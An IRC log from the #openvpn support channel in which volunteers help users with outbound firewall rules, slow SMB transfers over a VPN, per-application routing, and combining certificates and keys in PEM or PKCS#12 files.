16:28 -!- Aketzu [~akolehma@kelvin.aketzu.net] has quit [Ping timeout: 268 seconds]
16:30 <+pekster> clue_h: Allow the outbound traffic on the relevant tun/tap interface, plus the IP/port tupple of the remote OpenVPN peer you're contacting. #netfilter is probably more on-topic, and generally the rule is "if you have to ask about OUTPUT filtering, you probably shouldn't be using it
16:30 -!- Aketzu [~akolehma@kelvin.aketzu.net] has joined #openvpn
16:31  * rob0 Rule of Thumb: If you need help to make it work, you do not need OUTPUT filtering. Just say No to DROP.
16:31 < rob0> :)
16:32 < rob0> I have that as an alias in my IRC client, /thumb
16:34 < clue_h> pekster, Thank you for the help and i do see where you're coming from concerning people who are not completely sure what they are doing i.e me
16:35 <+pekster> Well, it's just there's far better things you can do to "secure" a box way before you get to output filtering (like SELinux, account auditing, restricted shells and role-accounts for all daemons, chroots, etc. Do that that _before_ you get to output filtering and you might actually have a valid use-case. Most people don't)
16:35 -!- Denial [Denial@05417302.skybroadband.com] has quit []
16:37 < clue_h> It's taken me a few days to get this far into securing it, learning the proper use of apparmor, disabling un needed services, 'hardening' the kernel etc, then after everything else connecting to the net
16:38 <+pekster> stateful firewalls are generally how you keep unwanted traffic out. If you don't trust local accounts to generate traffic going out, why did you give that user/process an account in the first place?
16:38 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
16:38 < clue_h> should have studied iptables first but by then i guess my internet subscription would have ended...
16:38 -!- Aketzu [~akolehma@kelvin.aketzu.net] has quit [Ping timeout: 264 seconds]
16:39 < clue_h> pekster, my isp have a backdoor and the politics is not stable here
16:39 < clue_h> in the router
16:40 < clue_h> but i know how it works
16:41 <+pekster> Then put a routing barrier between their assumed-corrupt unit and your LAN, and drop a stateful firewall with anti-spoof protection on it and call it a day
16:41 <+pekster> At this point we have nothing to do with OpenVPN; openvpn is easy to firewall if you think you want to filter outbound traffic, but you probably don't want to do that. If you do, see my first reply
16:42 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
16:42 < clue_h> I shall that was helpful thanks, i'll keep reading up on it before i change things
16:44 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
16:45 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:45 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:45 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:50 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
16:59 -!- jasonk [~jasonk@mux-hq.intacct.com] has quit []
17:06 -!- clue_h [~acer@unaffiliated/clue-h/x-1207620] has quit [Quit: Leaving]
17:13 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
17:25 -!- [fred] [fred@konfuzi.us] has joined #openvpn
17:29 -!- morphine [~morphine@es-217-129-29-72.netvisao.pt] has joined #openvpn
17:30 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
17:35 < morphine> Hi guys, stuff under OpenVPN goes very slow for me, especially accessing SMB shares. It's a simple one-server configuration, said shares are on that same box.
17:36 < morphine> Server config: http://pastebin.com/c5H1V2QD / Client config: http://pastebin.com/arQT2gAm
17:36 < morphine> I copied one folder with many small files, under OpenVPN the transfer is 3-4X slower than normal
17:36 < morphine> I measured using direct SFTP, VPN+SFTP, and VPN+SMB.
17:37 < morphine> 6Mbit uplink if you're wondering, which test #1 maxed out fine.
17:40 < Eugene> I'm sure we have a factoid on this, but I can't think of it.
17:40 < morphine> I'm guessing you do - every now and then I try out OpenVPN and give up, as I can never sort this issue out.
17:41 < morphine> tons of posts on the web about the same issue, never a definitive answer :/
17:41 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Remote host closed the connection]
17:41 < Eugene> ARe you fiddlng with any of the mtu options in yourconfig?
17:42 < morphine> I tried that in the past, sec
17:42 < morphine> ;link-mtu 1456 ; mssfix 1412
17:42 < Eugene> My usual advice is to not do that
17:43 < morphine> right, that's why they are commented out - I just left it at the default of 1500
17:45 < morphine> what you see there are all the options - they're just tiny modifications from the stock sample config file
17:45 < morphine> I left all the comments out obviously
17:52 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
17:52 <+pekster> morphine: Good places to start looking are device queue lengths (specifically on the tun devices that like to default to 100, often too low for faster backends,) any non-standard QoS (check the overlimits/drops carefully) as well as MTU issues (generally easy to check for by sending MTU-sized DF packets) or TCP window scaling or sliding window issues (less common when your speeds work natively, but not over the VPN, unless you're ...
17:52 <+pekster> ... using a tcp VPN; don't do that.)
17:53 < morphine> man, I know my networks and my routes and my MTUs, but most of what you mentioned is over my head
17:53 < morphine> I mean, I could learn, but where would I even look?
17:54 < morphine> you did mention something interesting, using a TCP VPN
17:54 <+pekster> !tcp
17:54 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
17:54 <+pekster> Probably your issue
17:54 < morphine> I swear I had tried with udp in the past and it didn't help, but I can try again.
17:55 < morphine> just set proto = udp on both ends, right?
17:55 <+pekster> Or omit it; it's the default
17:56 -!- klein [~klein@177.101.107.55] has joined #openvpn
17:56 -!- klein [~klein@177.101.107.55] has quit [Changing host]
17:56 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:56 < morphine> roger, will try that and report
17:59 <+pekster> !learn speed as Speed problems? Basic items to check include: 1) Prefer UDP over TCP (see !tcp) 2) MTU issues? Send max-size DF packets and watch for fragmentation/delivery issues 3) iface txqueuelen often needs to be >100 on fast and/or latent links 4) latenty/slow links don't magically get better with openvpn 5) less likely are issues with bad TCP window scaling or the sliding window; generally, don't 2nd guess TCP (in openvpn or ...
17:59 <@vpnHelper> Joo got it.
17:59 <+pekster> ... your OS knobs)
17:59 <+pekster> Grrr
17:59  * pekster will fix that up later
17:59 -!- hamas [~ml@84.238.81.51] has quit [Quit: Leaving]
18:01 < morphine> dunno how to check for #2, but I can try #3, I suppose - does txqueuelen have to be set right on both sides?
18:03 <+pekster> It's best to match them, but it won't "hurt" anything if you don't
18:03 <+pekster> It's just a device queue
18:03 < morphine> and for the record - in theory, I should only see what, a 5% to 10% drop over the line's speed?
18:03 < morphine> yeah that's what I figured
18:03 <+pekster> Depending on any of the above issues, plus CPU/interrupts/conditions-I-do-not-know, "it varies"
18:03 < morphine> both boxes are sitting idle heh
18:04 < morphine> and the server in question serves files over LAN just fine
18:04 < morphine> okay, UDP didn't help a bit with SMB transfers, trying SFTP now
18:07 < morphine> okay, progress - SFTP under OpenVPN gives me close to native speed. I'll take what I can get.
18:08 < morphine> now, any ideas regarding SMB?
18:08 <+pekster> Avoid it?
18:08 < morphine> you know that's not an option :)
18:08 <+pekster> NFS works great; Windows >=7 is even supposed to support it. Kind of.
18:09 < morphine> eh, anything above "Map network drive" is too complicated for the users
18:09 <+pekster> It's a garbage protocol that has never been great at throughput
18:09 < morphine> and besides, any self-respecting geek wants things working as they should, right?
18:09 < morphine> all true, but it works fine in the LAN
18:09 < morphine> up to line speed, that is
18:10 < morphine> okay, I suppose next thing, I'm going to try to increase txqueuelen
18:10 < morphine> something crazy like 500?
18:10 <+pekster> "crazy"? 1000 is fairly standard today
18:11 < morphine> well I saw the default at 100 heh
18:11 < morphine> okay, 1000 it is, let's see what happens
18:11 <+pekster> And the default for netfilter's established TCP timeout is 5 days. Don't read too much into defaults.
18:11 < morphine> I defend practical defaults everywhere :D
18:15 < morphine> txqueuelen 1000 in the client just makes OpenVPN not connect and not even log anything -_-
18:15 < morphine> trying with 2000 in the server only
18:16 <+pekster> Yea, it's a Linux-only thing
18:16 <+pekster> (defaults of 100 are especially on LANs, moreso at the >=GigE speeds)
18:16 <+pekster> especially silly*
18:17 < morphine> yeah, makes sense
18:19 < morphine> okay, results in - improvement, but not yet as good as it should be
18:19 < morphine> with SMB, my initial run with TCP and whatnot gave me 04:21
18:20 <+pekster> fwiw, some poor Celeron 2.3GHz box caps out at ~40Mbps doing FTP over openvpn
18:20 <+pekster> That's CPU-constrained
18:20 < morphine> I just got 02:51
18:20 <+pekster> I got ~88Mbps raw speed
18:20 < morphine> so it's roughly 2x as slow as native
18:20 < morphine> I'm going to monitor load when doing the transfer
18:20 <+pekster> And you've checked to make sure you're not CPU bound, or capped out on sys or wait time, right?
18:21 <+pekster> You've verifeid your link isn't dropping queued packets? And that there aren't slews of retransmits on a packet capture (headers only and a max limit of 1-2 thousand should be plenty to rule that out)
18:21 <+pekster> ie: "do the usual diagnostic things you would even if it wasn't a VPN"
18:22 < morphine> yeah, there are no problems that I can spot - like I said, I did plenty of testing with a direct connection
18:22 < morphine> doing SMB run #2, monitoring load
18:22 <+pekster> Helpful manpages for this might include tcpdump(1) and ss(8) and top(1)
18:22 -!- sailerboy [~sailerboy@sailerboy.net] has joined #openvpn
18:22 < morphine> which... seems to remain at 0.00 heh
18:22 <+pekster> CPU utilization != load
18:22 < morphine> top processes are taking 2-3%
18:22 < sailerboy> Hey, I was wondering, if i have an openvpn client, and i just want to route all my traffic for one application through openvpn, but nothing else, how would i do that?
18:23 < morphine> 2-3% CPU usage overall
18:23 <+pekster> sailerboy,
18:23 <+pekster> !routebyapp
18:23 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
18:23 < sailerboy> oh great :(
18:23 <+pekster> !learn routebyapp as Alternatively, read up about Policy Routing to make routing decisions based on defined "policies" you set. For Linux, read about !lartc
18:23 <@vpnHelper> Joo got it.
18:24 < sailerboy> !lartc
18:24 <@vpnHelper> "lartc" is LARTC is the de-facto guide to policy routing and QoS (tc, or traffic control) on Linux. http://lartc.org/howto/ . Policy routing in Ch. 4, QoS in Ch. 9. Start at the beginning if you're new to advanced routing on Linux
18:24 < sailerboy> christ
18:24 < sailerboy> this is more complicated than i expected
18:24 <+pekster> You wandered into advanced network ;)
18:24 <+pekster> networking*
18:24 < sailerboy> is there a simple way?
18:24 <+pekster> Pay someone?
18:24 < sailerboy> is there a cheap simple way?
18:24 <+pekster> Find an app that someone built and presumably wants to charge you for?
18:25 <+pekster> Not that I'm aware of; no way to perform advanced networking tasks without learning the basic ones first
18:25 < sailerboy> all rightyy
18:25 < sailerboy> i guess i know what i'm doing this weekend
18:25 <+pekster> Think of it like the 2nd grade student asking a math professor if there's a simple way to explain multi-variable calculus
18:26 < morphine> pekster, I wished that CPU utilization was the problem, but alas, no.
18:26 < sailerboy> well, there's a semisimple way to describe it
18:26 < sailerboy> like i could give the basic ideas of a derivative or a multivariable integral to a 2nd grader in a way he can visualize it
18:26 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has quit [Read error: Operation timed out]
18:26 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has joined #openvpn
18:27 < sailerboy> obviously he won't be a math major afterwards
18:27 < sailerboy> but it's possible
18:27 <+pekster> The bot gave you the high-level description
18:27 < sailerboy> :(
18:27 <+pekster> Either use a proxy at the remote end, or set up policy routing to define "what" you want to route "where"
18:28 <+pekster> If your app you want to treat uniquely is proxy/SOCKS aware, just install a socks proxy at the far end, or (ab)use OpenSSH's built-in one
18:33 < morphine> pekster, still no go, and CPU load is low. I have to pack it in for the evening, but I appreciate your support.
18:33 < morphine> I'll be sure to pester you some more in another day :)
18:33 <+pekster> morphine: Yea, the description I gave the bot about wraps up the usual (and a few oddball) things to check. I'd try a non-crappy, non-encrypted payload protocol as a test, like ftp or http
18:33 < morphine> Been there, done that :)
18:34 < morphine> but yeah, some other day, and thanks again
18:34 < morphine> I copy-pasted the bot's reply, btw
18:38 <@ecrist> lol
18:45 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has quit [Quit: Leaving]
18:47 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
18:51 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
19:00 -!- morphine [~morphine@es-217-129-29-72.netvisao.pt] has left #openvpn []
19:13 -!- raidz is now known as raidz_away
19:16 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Operation timed out]
19:35 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
19:35 < julius_> hi
19:36 < julius_> is openvpn and KVM problematic or does it usually work out of the box?
19:36 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
19:37 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 245 seconds]
19:39 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
19:52 < Olipro> can OpenVPN handle having the private key and the cert in the same file?
19:58 <+pekster> Olipro, might as well just use a pkcs#12 file for that, with --pkcs12
20:01 <+pekster> Otherwise if you'd like, they're just base-64 encoded PEM files, so you can `cat my.crt my.key > my.pem` and use that for both too
20:02 < Olipro> ohai
20:02 < Olipro> alrighty, pkcs12 it is
20:03 < Olipro> and when you say base-64 encoded...
20:03 < Olipro> PEM is basically base-64 with a header and footer
20:03 < Olipro> I don't need to concat and pipe to base-64 right?
20:04 <+pekster> No, what you have already should be: look for the -----BEGIN CERTIFICATE----- and related END line with a bunch of base64 in between
20:04 < Olipro> right
20:04 <+pekster> That's PEM (contrast that to the binary DER format that IIRC OpenVPN won't read, but openssl can convert for you should you have them)
20:05 < Olipro> if I'm using the p12 format, I can throw the CA cert in there too right?
20:05 <+pekster> Yup :)
20:05 < Olipro> alrighty, btw, did you see my PM
20:05 <+pekster> Yup, email sent back early this morning
20:06 < Olipro> bah, I'll go shout at someone in that case
20:06 <+pekster> Maybe I'm greylisted :)
20:06 < Olipro> heh
20:06 < Olipro> nah
20:09 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-vrvkexzclkfyghuv] has quit [Ping timeout: 264 seconds]
20:14 <+pekster> I don't recall offhand if openvpn likes pkcs12 with -aes256, but for 3des try: `openssl -export my.p12 -inkey my.key -CAfile ca.crt -in my.crt -des3` or such
20:14 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
20:15 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
20:19 < Olipro> yeah, er, I don't think catting PEM works so well
20:19 < Olipro> a p12 is raw bytes
20:20 < Olipro> at least, one I just created is
20:20 <+pekster> Newline probably (I figured it was becuase I used cygwin dealing with msdos PEM lines)
20:20 < Olipro> my cert files have BEGIN and END lines
20:20 <+pekster> Check that your --END#1----BEGIN#2-- lines didn't bleed; after I fixed that, it worked (apparently my PEM-formatted files had no trailing newline.)
20:20 < Olipro> a p12 I just dumped out of XCA is not human-readable
20:21 <+pekster> Oh, right. p12 is binary, but openvpn will eat 2 cat'd PEM blobs too (you just need both --cert and --key lines poitning to the same file)
20:22 <+pekster> --ca, --cert, and --key expect PEM files, while --pkcs12 wants PKCS#12 binary format. Also an option before I get "volunteered" to run out for a bit is:
20:22 <+pekster> !inline
20:22 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
20:23 < Olipro> yeah, I know you can inline
20:23 <+pekster> Fun. Find your favourite of the 3 options :)
21:05 -!- julius_ [~14354s@141.41.92.122] has quit [Read error: Connection reset by peer]
21:45 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
21:57 -!- TDJACR [~TDJACR@lilug/member/tdjacr] has joined #openvpn
21:58 < TDJACR> If I was configuring a load-balenced/failure resistant VPN, how can I ensure that the servers can communicate with each other.
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:27 -!- Devastator [~devas@177.18.199.183] has quit [Changing host]
22:27 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
22:39 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Quit: Leaving]
22:59 -!- Glanzmann [~sithglan@infra.glanzmann.de] has joined #openvpn
22:59 < Glanzmann> Good morning.
22:59 < Glanzmann> !welcome
22:59 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
22:59 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
22:59 < Glanzmann> !goal
22:59 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
23:39 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
23:40 -!- p3rror [~p3rror@41.248.205.138] has quit [Ping timeout: 245 seconds]
23:47 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
--- Day changed Sat Aug 31 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:21 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
00:56 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
00:58 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Ping timeout: 240 seconds]
01:07 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
01:40 -!- tharkun [~0@187.188.94.182] has quit [Ping timeout: 245 seconds]
01:47 -!- tharkun [~0@187.188.94.182] has joined #openvpn
01:50 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
01:55 -!- fields2000 [~Phil@wsip-72-200-248-82.om.om.cox.net] has joined #openvpn
01:55 -!- LEGOman [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
01:56 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services]
01:57 -!- riddle [riddle@us.yunix.net] has joined #openvpn
01:58 -!- dougy[work] [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has joined #openvpn
01:59 -!- Matir_ [~matir@ubuntu/member/matir] has joined #openvpn
02:01 -!- fields2grand [~Phil@wsip-72-200-248-82.om.om.cox.net] has quit [Ping timeout: 256 seconds]
02:02 -!- Perun_ [perun@chao5.net] has joined #openvpn
02:02 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 245 seconds]
02:02 -!- dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
02:02 -!- gardar_ [~gardar@gardar.net] has joined #openvpn
02:04 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
02:04 -!- Paddez1 [paddez@nat/dcunetworkingsociety/x-psmxvjupiddgbsul] has joined #openvpn
02:06 -!- eval-_ [~stephan@pool-100-1-110-92.nwrknj.fios.verizon.net] has joined #openvpn
02:08 -!- phantomcircuit_ [~phantomci@covertinferno.org] has joined #openvpn
02:11 -!- exoa [~high@unaffiliated/ex0a] has joined #openvpn
02:11 -!- Netsplit *.net <-> *.split quits: eval-, gardar, ex0a, Paddez, Cygor, Matir, phantomcircuit, Perun, dropje, Dougy
02:11 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds]
02:13 -!- phantomcircuit_ is now known as phantomcircuit
02:17 -!- xTz_ [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:49 -!- caelian [~caelian@ovh.caelian.net] has joined #openvpn
02:51 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:53 -!- Glanzmann [~sithglan@infra.glanzmann.de] has quit [Quit: EOF]
03:00 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:00 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:02 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
03:04 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
03:04 -!- mode/#openvpn [+v s7r] by ChanServ
03:04 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
03:16 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 264 seconds]
03:17 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
03:17 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
03:22 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
03:38 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:50 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-alnzbbaslybaiwko] has joined #openvpn
03:55 -!- exoa is now known as ex0a
03:59 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-alnzbbaslybaiwko] has quit [Read error: Connection reset by peer]
04:00 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-noqybvaaeyjaiauk] has joined #openvpn
04:29 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
04:30 -!- p3rror [~p3rror@41.248.205.138] has joined #openvpn
04:42 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
05:14 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has joined #openvpn
05:14 < hyper_ch> hi there
05:16 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-noqybvaaeyjaiauk] has quit [Ping timeout: 268 seconds]
05:17 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Read error: Connection reset by peer]
05:17 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
05:25 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
05:30 -!- Linmu [~Linmu@203.70.194.104] has quit [Read error: Connection reset by peer]
05:30 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
05:32 -!- Linmu [~Linmu@203.70.194.104] has quit [Client Quit]
05:32 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
05:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:43 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
05:49 -!- evelyette__ [~evelyette@BSN-95-233-106.static.dsl.siol.net] has joined #openvpn
05:53 -!- lamokie [~steve@li428-245.members.linode.com] has quit [Quit: Lost terminal]
05:54 -!- lamokie [~steve@li428-245.members.linode.com] has joined #openvpn
05:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
06:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:50 -!- kubbing [~kubbing@ip-78-102-124-153.net.upcbroadband.cz] has joined #openvpn
06:53 -!- evelyette__ [~evelyette@BSN-95-233-106.static.dsl.siol.net] has quit [Ping timeout: 245 seconds]
07:12 -!- kubbing [~kubbing@ip-78-102-124-153.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
07:25 -!- ayaka [~ayaka@2001:250:6801:1450:a60:6eff:fe70:368a] has joined #openvpn
07:29 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
07:29 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
07:29 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
07:37 -!- evelyette [~evelyette@BSN-95-233-106.static.dsl.siol.net] has joined #openvpn
07:43 -!- evelyette [~evelyette@BSN-95-233-106.static.dsl.siol.net] has quit [Ping timeout: 264 seconds]
07:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
07:51 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
07:52 -!- evelyette [~evelyette@BSN-95-233-106.static.dsl.siol.net] has joined #openvpn
07:58 -!- ade_b [~Ade@2001:67c:20a0:b104:224:d7ff:fe51:f4c0] has joined #openvpn
07:58 -!- ade_b [~Ade@2001:67c:20a0:b104:224:d7ff:fe51:f4c0] has quit [Changing host]
07:58 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:14 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
08:17 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
08:22 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
08:27 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 264 seconds]
08:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:32 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:34 -!- ade_b [~Ade@redhat/adeb] has quit [Client Quit]
08:35 -!- klein [~klein@187.4.194.194] has joined #openvpn
08:36 -!- klein [~klein@187.4.194.194] has quit [Changing host]
08:36 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
08:45 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
08:56 -!- JSharpe [~JSharpe@176.227.206.250] has joined #openvpn
08:58 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
08:58 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
09:02 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
09:30 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
09:30 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
09:33 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
09:36 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
09:38 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
09:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
09:57 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Read error: Connection timed out]
09:58 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
10:15 -!- klein [~klein@187.4.194.194] has joined #openvpn
10:15 -!- klein [~klein@187.4.194.194] has quit [Changing host]
10:15 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
10:19 -!- JSharpe [~JSharpe@176.227.206.250] has quit [Ping timeout: 264 seconds]
10:19 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
10:28 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:37 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
10:38 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
10:54 -!- JSharpe [~JSharpe@176.227.206.250] has joined #openvpn
11:01 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:16 -!- master_of_master [~master_of@p4FD7BE5D.dip0.t-ipconnect.de] has joined #openvpn
11:20 -!- master_o1_master [~master_of@p4FD7BB2D.dip0.t-ipconnect.de] has quit [Ping timeout: 268 seconds]
11:34 -!- HaxCore [~p3rror@41.249.155.113] has joined #openvpn
11:37 -!- p3rror [~p3rror@41.248.205.138] has quit [Ping timeout: 245 seconds]
11:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:56 -!- Marlenee [~creacatio@gateway/tor-sasl/creacation] has joined #openvpn
11:56 < Marlenee> !welcome
11:56 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:56 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:12 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds]
12:13 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
12:13 -!- mode/#openvpn [+o dazo_afk] by ChanServ
12:13 -!- zzattack [~zzattack@222-79-ftth.on.nl] has left #openvpn []
12:13 -!- dazo_afk is now known as dazo
12:17 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
